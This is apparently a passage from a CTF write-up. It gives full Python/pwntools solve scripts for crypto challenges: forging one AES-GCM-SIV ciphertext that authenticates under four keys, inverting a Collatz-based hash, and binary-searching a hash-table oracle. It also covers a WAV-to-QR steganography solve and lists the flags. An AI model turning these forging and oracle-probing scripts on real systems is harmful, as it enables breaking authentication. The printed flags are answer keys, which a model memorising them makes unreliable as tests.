    r.recvuntil(b"Enter ciphertext (hex):")
    r.sendline(ct_hex.encode())

    r.recvuntil(b"Your choice:")

    r.sendline(b"4")

    print(r.recvall().decode())

if __name__ == "__main__":
    main()

FLAG: flag{th3_4x0lo7ls_4r3_n07_wh47_th3y_s33m}

Ambystoma Mexicanum Revenge

Description

The axolotls are not what they seem, they are back now, with a revenge.

Vulnerability

In this challenge, the author patched the unintended solution, forcing us to use 4 keys instead of just 1 like in the previous challenge to encrypt

for i in range(4):
    try:
        key = binascii.unhexlify(KEYS[i])
        ct = binascii.unhexlify(CIPHERTEXTS[i % len(CIPHERTEXTS)])

This means the Server wants to use the same ciphertext ct for all 4 keys

When decrypting:

  • Under key 0, block 0 → "gib m"
  • Under key 1, block 1 → "e fla"
  • Under key 2, block 2 → "g pli"
  • Under key 3, block 3 → "s"

Decryption under all 4 keys must pass authentication (tag must be correct with POLYVAL for each key) tag=AESmekj(Sj(nonce032) and MSB) tag = AES_{mek_j} (S_j \oplus(nonce||0^{32}) \ and \ MSB) where:

  • Sj=POLYVALHj(AAD,plaintext,lengthblock)S_j=POLYVALHj(AAD,plaintext,length block)
  • nonce032=nonceb"\x00\x00\x00\x00"nonce || 0^{32}=nonce || b"\x00\x00\x00\x00"

Get 4 equations and get SjS_j

Then solve the system of equations in GF(2128)GF(2^{128}) to obtain the plaintext for every key

Solve

Choose option 1 three times to get 4 keys Choose option 2 to get key, nonce leak Then run the following script

from Crypto.Cipher import AES
from Crypto.Util.strxor import strxor
import binascii, os, sys

# --------- FILL IN YOUR DEBUG INFO ----------

KEYS=['4a3384d96c2477580b3fd572108a3011', '56cbc2e00e4310981a768126c5aa0916', 'c3c9675f70b0a1c3e197b63bae8b23af', '1a63c6625cb03c957c8ec8ce39ba57ed']
CIPHERTEXTS=[]
nonce='b0369d1ca4dc211062666850'

KEYS_HEX=KEYS
CIPHERTEXTS=[]
NONCE_HEX= nonce

# ------------------------------------------------

keys  = [binascii.unhexlify(k) for k in KEYS_HEX]
nonce = binascii.unhexlify(NONCE_HEX)

# =========== GF(2^128) for POLYVAL ==============
R = PolynomialRing(GF(2), 'x')
x = R.gen()
POLYVAL_modulus = x**128 + x**127 + x**126 + x**121 + 1
K = GF(2**128, name='a', modulus=POLYVAL_modulus)

def bytes_to_bit_array(data):
    bits = []
    for b in data:
        s = bin(b)[2:].zfill(8)
        s = s[::-1]  # little-endian within byte (according to RFC 8452)
        bits.extend(int(bit) for bit in s)
    return bits

def bytes_to_fe(b):
    return K(bytes_to_bit_array(b))

def fe_to_bytes(fe):
    bits = list(fe)
    if len(bits) < 128:
        bits += [0]*(128-len(bits))
    out = bytearray()
    for i in range(0, 128, 8):
        chunk = bits[i:i+8]
        chunk.reverse()
        s = ''.join(str(bit) for bit in chunk)
        out.append(int(s, 2))
    return bytes(out)

def u64_le(i):
    return i.to_bytes(8, "little")

def length_block(aad_len, pt_len):
    # length in bits, little-endian as per RFC 8452
    return u64_le(aad_len * 8) + u64_le(pt_len * 8)

# =========== Key derivation AES-GCM-SIV =========

def derive_keys(master_key, nonce):
    """
    RFC 8452 derive_keys (AES-128).
    Returns (msg_auth_key, msg_enc_key).
    """
    assert len(master_key) in (16, 32)
    assert len(nonce) == 12
    cipher = AES.new(master_key, AES.MODE_ECB)
    blocks = []
    for ctr in range(4):
        blk = cipher.encrypt(ctr.to_bytes(4, "little") + nonce)
        blocks.append(blk)
    msg_auth_key = blocks[0][:8] + blocks[1][:8]
    msg_enc_key  = blocks[2][:8] + blocks[3][:8]
    return msg_auth_key, msg_enc_key

def check_polyval(msg_enc_key, nonce, tag):
    """
    From tag, recover S_s (POLYVAL output) like Malosdaf:
      tag = AES_Enc(mek, (S_s xor nonce||0^32) & 0x7f in MSB)
    """
    cipher = AES.new(msg_enc_key, AES.MODE_ECB)
    s = cipher.decrypt(tag)  # S_s' = S_s xor nonce||0^32, with MSB cleared
    if s[15] & 0x80:
        return False, None
    s = strxor(s, nonce + b"\x00"*4)  # S_s
    return True, s

# ========= Prepare plaintext for K[0] ==========
# Divide into 4 blocks of 16 bytes, each block .strip() then concatenate = "gib me flag plis"

b0 = b"gib m" + b" " * 11
b1 = b"e fla" + b" " * 11
b2 = b"g pli" + b" " * 11
b3 = b"s"     + b" " * 15

need_plaintext = b0 + b1 + b2 + b3
if len(need_plaintext) % 16 != 0:
    need_plaintext += b"\x00" * (16 - len(need_plaintext) % 16)

need_blocks = len(need_plaintext) // 16      # = 4
M = 4                                        # number of keys
S = M                                        # number of sacrificial blocks = M
num_blocks = need_blocks + S                 # total plaintext blocks under each key

# ======= Derive per-message keys for 4 keys =====

msg_auth_keys = []
msg_enc_keys  = []
for k in keys:
    mak, mek = derive_keys(k, nonce)
    msg_auth_keys.append(mak)
    msg_enc_keys.append(mek)

# ======= Choose common tag for all 4 keys =======

while True:
    tag = os.urandom(16)
    ok = True
    s_list = []
    for mek in msg_enc_keys:
        ok_tag, s = check_polyval(mek, nonce, tag)
        if not ok_tag:
            ok = False
            break
        s_list.append(s)
    if ok:
        break

# ======= Generate AES-CTR keystream for each key =====

counter = bytearray(tag)
counter[15] |= 0x80
counter = bytes(counter)

keystreams = [[] for _ in range(M)]
aes_objs = [AES.new(mek, AES.MODE_ECB) for mek in msg_enc_keys]

for _ in range(num_blocks):
    for j in range(M):
        ks = aes_objs[j].encrypt(counter)
        keystreams[j].append(ks)
    ctr_int = int.from_bytes(counter, "little") + 1
    counter = ctr_int.to_bytes(16, "little")

# ======= Prepare POLYVAL parameters =========

inv = bytes_to_fe(b"\x01" + b"\x00"*13 + b"\x04\x92")  # x^-128, according to RFC 8452
w = [bytes_to_fe(mak) * inv for mak in msg_auth_keys]   # H_j = msg_auth_key_j * x^-128

LENBLOCK_fe = bytes_to_fe(length_block(0, 16 * num_blocks))   # AAD = 0, plaintext = 16*num_blocks
aad_poly = [K(0)] * M  # no AAD

polyvals_rhs = []
for j in range(M):
    s_fe = bytes_to_fe(s_list[j])     # S_s^(j)
    polyvals_rhs.append(s_fe + w[j] * LENBLOCK_fe + aad_poly[j])

# ======= Build linear system A * X = b ===========
# Variable X contains M*num_blocks plaintext blocks:
#   key 0: P_0[0..num_blocks-1]
#   key 1: P_1[...]
#   key 2: ...
#   key 3: ...

matrix_size = M * num_blocks
rows = []
rhs  = []

# 1) POLYVAL equations: 1 equation per key
for j in range(M):
    row = [K(0)] * matrix_size
    # sum_i P_{j,i} * H_j^{num_blocks+1-i}
    for i in range(num_blocks):
        row[j * num_blocks + i] = w[j] ** (num_blocks + 1 - i)
    rows.append(row)
    rhs.append(polyvals_rhs[j])

# 2) Ciphertext equality equations:
#    C_i is the same for all keys => P_0[i] + P_j[i] = KS0[i] + KSj[i]
for i in range(num_blocks):
    ks0_fe = bytes_to_fe(keystreams[0][i])
    for j in range(1, M):
        row = [K(0)] * matrix_size
        row[0 * num_blocks + i] = K(1)
        row[j * num_blocks + i] = K(1)
        rows.append(row)
        rhs.append(ks0_fe + bytes_to_fe(keystreams[j][i]))

# 3) Fix plaintext for key 0, first 4 blocks
target_positions = [
    (0, 0),  # b0 for key0, block0
    (1, 1),  # b1 for key1, block1
    (2, 2),  # b2 for key2, block2
    (3, 3),  # b3 for key3, block3
]

for blk_idx, (j, blk) in enumerate(target_positions):
    row = [K(0)] * matrix_size
    row[j * num_blocks + blk] = K(1)
    rows.append(row)
    block_bytes = need_plaintext[16 * blk_idx : 16 * (blk_idx + 1)]
    rhs.append(bytes_to_fe(block_bytes))

assert len(rows) == matrix_size == len(rhs), "System is not square!"

A = Matrix(K, rows)
b_vec = vector(K, rhs)

print("[*] Solving linear system over GF(2^128)...")
X = A.solve_right(b_vec)

# ======= Construct ciphertext for key 0 ============

P0_blocks_fe = [X[i] for i in range(num_blocks)]

ct_blocks = []
for i in range(num_blocks):
    ks0_fe = bytes_to_fe(keystreams[0][i])
    ct_blocks.append(ks0_fe + P0_blocks_fe[i])  # C_i = KS0_i + P0_i

ct_bytes = b"".join(fe_to_bytes(c) for c in ct_blocks)
ciphertext_full = ct_bytes + tag

print("[*] Ciphertext length:", len(ciphertext_full))
print("[*] Ciphertext hex (paste into option 3):")
print(binascii.hexlify(ciphertext_full).decode())

Choose option 3 to submit the obtained ciphertext Choose option 4 to get the flag

FLAG: flag{4x0l075_0nly_5p4wn_1n_lu5h_c4v35_0r_1n_7h3_d4rk}

p34kC0nj3c7ur3

Description

Pave your path to ultimate hash function!

Analysis

This is the 3n + 1 - Collatz problem in the form of a hash function

The server computes myHash = uniqueHash(message) and we are given uniqueHash(myHash)

We must find 10 values such that H(i) = myHash

Exploit Idea

First, we need to find the value of myHash

The server returns H(myHash) = 25, we can search from 1 to 10000 to find which number has 25 steps, and then we can determine myHash = 4017

Then, by simply reversing the operations x * 2 and (x-1)/3 from 1, we will trace back 10 numbers that have 4017 steps to reach 1

Solve

from pwn import *
from Crypto.Util.number import isPrime
import random
import time

# --- Configuration ---
HOST = 'remote.infoseciitr.in'
PORT = 4002
MY_HASH_TARGET = 4017 # Found from leak analysis step (uniqueHash(4017) -> 25)

# --- Helper Functions ---
def get_preimage_batch(target_steps, batch_size=8000):
    """
    Generate numbers with stopping time equal to target_steps by reversing Collatz.
    Use large batch_size to increase chances of finding prime numbers at deeper levels.
    """
    # Start reversing from number 1
    current_layer = {1}

    # Loop to go back target_steps - 1 steps
    for i in range(target_steps - 1):
        next_layer = set()
        
        # Optimization: Keep population size stable to avoid RAM overflow
        parents = list(current_layer)
        if len(parents) > batch_size:
            parents = random.sample(parents, batch_size)
            
        for x in parents:
            # Reverse Rule 1: From division by 2 => multiply by 2
            next_layer.add(x * 2)

            # Reverse Rule 2: From 3x+1 => (x-1)/3
            if (x - 1) % 3 == 0:
                prev = (x - 1) // 3
                # Forward Collatz condition: 3x+1 only applies to odd numbers
                if prev % 2 == 1 and prev > 1:
                    next_layer.add(prev)
        
        current_layer = next_layer
        if not current_layer:
            return [], []

    # Final step: Classify into Prime and Composite
    primes = []
    composites = []
    
    for x in current_layer:
        # Branch A: Multiply by 2 (Always composite since x > 1)
        composites.append(x * 2)
        
        # Branch B: (x-1)/3
        if (x - 1) % 3 == 0:
            prev = (x - 1) // 3
            if prev % 2 == 1 and prev > 1:
                if isPrime(prev):
                    primes.append(prev)
                else:
                    composites.append(prev)
                    
    return primes, composites

def solve():
    context.log_level = 'info'
    
    # 1. PRE-COMPUTE: Calculate offline beforehand to avoid timeout
    # Need to find at least 10 numbers, take 15 extra to be sure
    primes_pool = set() 
    composites_pool = set()
    
    log.info(f"Target Hash: {MY_HASH_TARGET}. Finding at least 15 Prime numbers...")
    
    attempt = 1
    # Generate loop until enough Primes are collected
    while len(primes_pool) < 15:
        log.info(f"Batch {attempt}: Generating (current primes count: {len(primes_pool)})...")
        p, c = get_preimage_batch(MY_HASH_TARGET, batch_size=8000)
        primes_pool.update(p)
        composites_pool.update(c)
        attempt += 1
        
    # Convert to list to use pop() function
    primes_pool = list(primes_pool)
    composites_pool = list(composites_pool)
    
    log.success(f"Ready! Found {len(primes_pool)} Primes and {len(composites_pool)} Composites.")

    # 2. CONNECT: Now connect to server
    conn = remote(HOST, PORT)

    # 3. VERIFY LEAK
    conn.recvuntil(b"This is my hash of hash: ")
    leak = int(conn.recvline().strip())
    log.info(f"Leak from server: {leak}")
    
    proofs_needed = 10
    
    # Based on "Well Well" error analysis from previous run, we know Flag is Prime
    target_is_prime = True
    log.info("Locked Target Type: PRIME (Based on previous analysis)")
    
    while proofs_needed > 0:
        candidate = None
        
        if target_is_prime:
            if not primes_pool:
                log.error("Ran out of Prime numbers to send! Need to increase batch_size or run again.")
                return
            candidate = primes_pool.pop()
        else:
            if not composites_pool:
                log.error("Ran out of Composite numbers!")
                return
            candidate = composites_pool.pop()

        # Send number to server
        log.info(f"Sending number (Is Prime? {isPrime(candidate)})...")
        conn.recvuntil(b"Enter your message in hex: ")
        conn.sendline(hex(candidate).encode())
        
        # Read response
        try:
            response = conn.recvline().decode().strip()
            log.info(f"Server response: {response}")
        except EOFError:
            log.error("Server closed connection unexpectedly.")
            return

        if "Incorrect!" in response:
            log.error("Incorrect hash! Logic calculation has issues.")
            return
            
        elif "Correct!" in response:
            proofs_needed -= 1
            log.success(f"Correct! {proofs_needed} remaining.")
                
        elif "Well Well" in response:
            # Backup case, if guessed wrong Prime/Composite type
            log.warning("Wrong prime property! Changing target...")
            target_is_prime = not target_is_prime

    # Get Flag
    conn.interactive()

if __name__ == "__main__":
    solve()

FLAG: flag{1r0n_m4n_f0r_c0ll4tz_3ndg4m3_0f_cryp70gr4phy_1s_p34k_r16h7_313}

The job

Your non cryptography "friend" needs your help or he might lose his job. Well you don't really care you just want the flag don't you.

Anyways connect to the instance to get the flag... after helping your friend save his job ofcourse.

Analysis

Hash table has k = 256 slots, each slot can contain multiple elements

The hash function is defined as:

def get_hash(num, coeff_arr):
    hash = 0
    mult = 1
    for i in range(len(coeff_arr)):
        hash = (hash + mult * coeff_arr[len(coeff_arr)-1-i]) % mod
        mult = (mult * num) % mod
    return hash

This calculates Hi(x)=c0+c1xi+c2xi2+...+cnxin mod pH_i(x) = c_0 + c_1x_i + c_2x_i^2 + ... + c_nx_i^n \ mod \ p, such that Hi(x)<256H_i(x) < 256

The challenge has 2 phases:

  • Phase 1
for i in range(k):
    if len(hash_table[i]) > (n + k - 1)/k:
        fail

We need to choose polynomial coefficients such that each hash_table[i] contains no more than 4 elements

  • Phase 2 Similar to phase 1, but one slot of hash_table[i] has been added with junk, we have to guess which slot number it is

Exploitation StrategyChallenge

  • Phase 1

We need to choose a polynomial function such that hash_table[i] contains no more than 4 elements

One strategy is to pre-select hash_table(H(x)) = x

Then hashtable = [[x1, x2, x3, x4], [x5, x6, x7, x8], ...,[0,0,0,0]]

From 896 pairs (x, y), we will use Lagrange interpolation to get the polynomial coefficients, input them to the server to automatically pass phase 1

  • Phase 2

The server will pre-select 1 slot in hash_table and add junk to it, we need to find the index

The strategy is to divide hash_table into 2 halves, the first half has 128 slots with 4 elements, the rest with 3 elements

If server returns pass -> junk is in the second half If server returns fail -> junk is in the first half

The idea repeats when we find the index range where junk is located, similar to binary search

Solve

Run the script below until you get the flag

from pwn import *
import sys

MOD = 10**9 + 7
K = 256
N = 896

# ---------- Polynomial helpers ----------

def poly_add(A, B, p):
    n = max(len(A), len(B))
    res = [0] * n
    for i in range(n):
        if i < len(A):
            res[i] = (res[i] + A[i]) % p
        if i < len(B):
            res[i] = (res[i] + B[i]) % p
    # trim highest-degree zeros
    while len(res) > 1 and res[-1] == 0:
        res.pop()
    return res

def poly_scal_mul(A, s, p):
    return [(a * s) % p for a in A]

def poly_mul_linear(A, c0, c1, p):
    """
    Return A(x) * (c0 + c1*x).
    """
    res = [0] * (len(A) + 1)
    for i, a in enumerate(A):
        res[i]     = (res[i] + a * c0) % p
        res[i + 1] = (res[i + 1] + a * c1) % p
    # trim
    while len(res) > 1 and res[-1] == 0:
        res.pop()
    return res

def poly_eval(A, x, p):
    """
    Evaluate polynomial A (low-degree first) at x using Horner.
    """
    res = 0
    for coef in reversed(A):
        res = (res * x + coef) % p
    return res

def interpolate(xs, ys, p=MOD):
    """
    Given distinct xs and arbitrary ys, return polynomial P
    (low-degree first) of degree < len(xs) such that P(xs[i]) = ys[i].
    """
    P = [0]   # current polynomial
    Q = [1]   # product (x - x_j) over previous points
    for x_i, y_i in zip(xs, ys):
        x_i %= p
        y_i %= p
        valP = poly_eval(P, x_i, p)
        valQ = poly_eval(Q, x_i, p)
        invQ = pow(valQ, p - 2, p)   # Fermat inverse
        a = (y_i - valP) * invQ % p
        P = poly_add(P, poly_scal_mul(Q, a, p), p)
        Q = poly_mul_linear(Q, (-x_i) % p, 1, p)  # Q *= (x - x_i)
    return P

def coeffs_for_server(P, mod=MOD):
    """
    Convert low-degree-first polynomial P to the coefficient
    string expected by server.get_hash (highest degree first).
    """
    arr = [c % mod for c in reversed(P)]
    # strip leading zeros if any
    i = 0
    while i < len(arr) - 1 and arr[i] == 0:
        i += 1
    arr = arr[i:]
    return ",".join(str(c) for c in arr)

# ---------- build connection and solve ----------

def main():
    io = remote("remote.infoseciitr.in", 4006)

    # ---- Stage 0: get leaked numbers ----
    io.recvuntil(b"Press Enter to start > ")
    io.sendline(b"")
    line = io.recvline().decode().strip()
    # should be: "Here are the leaked numbers : a,b,c,..."
    assert "Here are the leaked numbers" in line
    nums_str = line.split(":", 1)[1].strip()
    xs = list(map(int, nums_str.split(",")))
    assert len(xs) == N

    # ---- Stage 1: build polynomial with <=4 per bucket ----
    # simple pattern: 4 per bucket for 0..223, rest empty
    ys0 = [i // 4 for i in range(N)]  # 0..223 each repeated 4 times
    P0 = interpolate(xs, ys0, MOD)
    coeff_str0 = coeffs_for_server(P0, MOD)

    io.recvuntil(b"> ")  # "Enter the coefficients..." prompt
    io.sendline(coeff_str0.encode())

    # skip messages until the "Press Enter to continue > " prompt
    io.recvuntil(b"Press Enter to continue > ")
    io.sendline(b"")

    # ---- Stage 2: 6 trials to learn bits 0..5 of target ----
    # Precompute subsets S_t = { i | bit t of i is 1 }
    S = []
    for t in range(6):
        S_t = {i for i in range(K) if (i >> t) & 1}
        assert len(S_t) == 128
        S.append(S_t)

    bits = []  # bits[t] = 1 if target in S_t, else 0

    for t in range(6):
        # Receive "Trial X" prompt & "Enter coeffs" prompt
        io.recvuntil(b"Trial ")
        io.recvline()  # e.g. "1 : "
        io.recvuntil(b"> ")

        # Build mapping for this trial: 4 on S_t, 3 on complement
        big = [i for i in range(K) if i in S[t]]
        small = [i for i in range(K) if i not in S[t]]
        assert len(big) == 128 and len(small) == 128

        ys = [0] * N
        pos = 0
        # assign 4 values to each big bucket
        for idx in big:
            for _ in range(4):
                ys[pos] = idx
                pos += 1
        # assign 3 values to each small bucket
        for idx in small:
            for _ in range(3):
                ys[pos] = idx
                pos += 1
        assert pos == N

        P_t = interpolate(xs, ys, MOD)
        coeff_str_t = coeffs_for_server(P_t, MOD)
        io.sendline(coeff_str_t.encode())

        # Read manager's verdict
        io.recvuntil(b"Manager says the hash ")
        res = io.recvline().decode()
        # extra blank line after that
        # (string has "\n\n") – consume one extra line safely
        try:
            io.recvline(timeout=0.1)
        except:
            pass

        if "passed" in res:
            bits.append(0)  # target not in S_t
        else:
            bits.append(1)  # target in S_t

    # ---- Deduce candidate indices and guess ----
    candidates = []
    for idx in range(K):
        ok = True
        for t in range(6):
            in_set = idx in S[t]
            if bits[t] == 1 and not in_set:
                ok = False
                break
            if bits[t] == 0 and in_set:
                ok = False
                break
        if ok:
            candidates.append(idx)

    print("Bits learned:", bits, "candidates:", candidates, file=sys.stderr)

    # There will be exactly 4 candidates; pick one (e.g. at random or first)
    guess = candidates[0]
    io.recvuntil(b"Tell your friend the index : ")
    io.sendline(str(guess).encode())

    # Show whatever the server prints (hopefully the flag)
    io.interactive()

if __name__ == "__main__":
    main()

FLAG: flag{h0w_d1d_h3_b3c0m3_th3_m4n4g3r}

Steg/For

Sonic

Description

We intercepted a strange audio transmission. Our audio analysts say it's not music, not speech, and definitely not random noise. Can you figure out what it is?

Analysis

Basic file inspection

First, inspect the audio file:

$ file challenge.wav
challenge.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz

So we have:

  • Mono
  • 16‑bit PCM
  • 44,100 Hz sample rate

Let’s look at the raw samples in Python:

import wave
import numpy as np

w = wave.open("challenge.wav", "rb")
print(w.getnchannels(), w.getsampwidth(), w.getframerate(), w.getnframes())

frames = w.readframes(w.getnframes())
samples = np.frombuffer(frames, dtype="<i2")  # 16-bit little-endian
print(np.unique(samples))

Output is essentially:

  • Channels: 1
  • Sample width: 2 bytes
  • Sample rate: 44100
  • Unique sample values: [-8000, 2700, 8000]

So the “audio” isn’t voice or music; it’s a discrete digital signal using only three levels.


Finding the preamble

Check where the middle value 2700 appears:

idx_2700 = np.where(samples == 2700)[0]
print(len(idx_2700), idx_2700[:20], idx_2700[-20:])

We see:

  • Exactly 200 samples at value 2700.
  • They occupy indices 0199.

After that, the signal uses only -8000 and +8000.

That strongly suggests the first 200 samples are a preamble / sync sequence. We can ignore them and work with the rest:

samples2 = samples[200:]

Guessing the symbol length

A common trick is to use a nice round time unit like 10 ms per symbol.

At 44.1 kHz:

44100 * 0.01  # 10 ms
# 441.0

So 10 ms = 441 samples. Let’s see if the remaining data length is a multiple of 441:

block_size = 441
nblocks = len(samples2) // block_size
print(nblocks, len(samples2) - nblocks * block_size)

We get:

  • nblocks = 729
  • Remainder = 0

Perfect: after the preamble, the audio splits into 729 blocks of 441 samples exactly.

So each block of 441 samples is one symbol.


Converting symbols to bits

For each 441-sample block, we can compute its average value and use the sign to determine a bit:

  • Mean > 0 → bit 1
  • Mean ≤ 0 → bit 0
blocks = samples2.reshape(nblocks, block_size)
means = blocks.mean(axis=1)
bits = (means > 0).astype(int)

print(np.unique(bits, return_counts=True))

This gives:

  • Bit values: [0, 1]
  • Counts: e.g. 328 zeroes, 401 ones

So now we have a 729‑bit sequence.


Bits → 2D grid

729 factors as:

729 = 27 × 27

That’s a suspiciously nice size for a small bitmap.

Reshape into a 27×27 grid:

grid = bits.reshape(27, 27)

def show_grid(g):
    return "\n".join(
        "".join("#" if b else " " for b in row)
        for row in g
    )

print(show_grid(grid))

The output looks like a 27×27 block with a solid border and structured patterns inside the border – clearly not random.

To check whether the colors are inverted, we flip 0↔1:

inv_grid = 1 - grid
print(show_grid(inv_grid))

After inversion, we can see a quiet border and a structured pattern in the center that resembles a QR code (with finder patterns in three corners).


Extracting the QR core

QR codes come in specific sizes. For version v:

size = 21 + 4 × (v - 1)

Sizes:

  • v1 → 21×21
  • v2 → 25×25
  • v3 → 29×29

We have a 27×27 grid. That suggests:

  • 1-pixel border around
  • Inner 25×25 core → matches QR version 2

So we extract the inner 25×25 region, stripping 1 row/column from each side:

core = inv_grid[1:26, 1:26]
print(core.shape)   # (25, 25)
print(show_grid(core))

The resulting pattern has classic QR structures:

  • Three large finder squares in three corners
  • Timing patterns
  • Data and error correction modules

So this is our QR code raster.


Rendering the QR as an image

Next, we render the core grid into an actual image (black / white pixels), scaled up to make scanning easy.

from PIL import Image

scale = 10  # pixels per module
N = 25      # QR core size

img = Image.new("L", (N * scale, N * scale), 255)  # start all white
pixels = img.load()

for y in range(N):
    for x in range(N):
        color = 0 if core[y, x] == 1 else 255  # 1=black, 0=white
        for dy in range(scale):
            for dx in range(scale):
                pixels[x * scale + dx, y * scale + dy] = color

img.save("qr_raw.png")

QR scanners generally expect a quiet zone (white margin) around the code, typically 4 modules wide. We add that:

quiet   = 4      # quiet zone width in modules
modsize = 10     # pixels per module
size    = (N + 2*quiet) * modsize

img2 = Image.new("L", (size, size), 255)
pix2 = img2.load()

for y in range(N):
    for x in range(N):
        color = 0 if core[y, x] == 1 else 255
        for dy in range(modsize):
            for dx in range(modsize):
                px = (x + quiet) * modsize + dx
                py = (y + quiet) * modsize + dy
                pix2[px, py] = color

img2.save("qr_with_quiet.png")

Now qr_with_quiet.png is a properly padded QR image.

image

Final: flag{p1x3l5_1n_4ud10_4r3_fun!}